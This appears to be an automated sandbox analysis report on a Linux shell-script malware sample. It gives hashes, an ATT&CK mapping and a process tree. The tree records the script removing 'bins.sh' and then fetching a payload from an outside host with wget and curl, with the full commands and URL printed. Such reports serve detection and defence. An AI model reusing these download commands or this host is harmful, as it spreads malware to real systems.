9e91170bac0c57328a24acedfc0276a02ab5986a57c5d212539d033a9422a4ba

Analysis

max time kernel
148s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21/11/2024, 07:18

Target
9e91170bac0c57328a24acedfc0276a02ab5986a57c5d212539d033a9422a4ba.sh
Size 10KB
Sample241121-h4x77stran
SHA256 9e91170bac0c57328a24acedfc0276a02ab5986a57c5d212539d033a9422a4ba
MD5 23622b271af5066134037f2f704d5e77
SHA1 4a408a39b8e07d57ed50e3d57d94a3ead898d4db
SHA512 09d6105fd7dc1686bbbe1b15d7d9e97d7e0dde3857755adb4bb1e77d960d6d0a7a0c78a78440353426be8e0fcd37e73f632c2f2e46894d5a0a5fef25555712f8
SSDEEP 96:YlFcLn7bnin6nRKWVlLnuLb3IyKY99Ff9f9fHsnbBL79797iDcLfzV0UeO65R4Cs:L4l8xSBTg
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1466	wget
1467	curl

/tmp/9e91170bac0c57328a24acedfc0276a02ab5986a57c5d212539d033a9422a4ba.sh
/tmp/9e91170bac0c57328a24acedfc0276a02ab5986a57c5d212539d033a9422a4ba.sh
1⤵
PID:1464
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1465
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OL3EBoGbOLZSHvus7ILXhnkyd4E0m603v4
  2⤵
  - System Network Configuration Discovery
  PID:1466
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OL3EBoGbOLZSHvus7ILXhnkyd4E0m603v4
  2⤵
  - System Network Configuration Discovery
  PID:1467

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact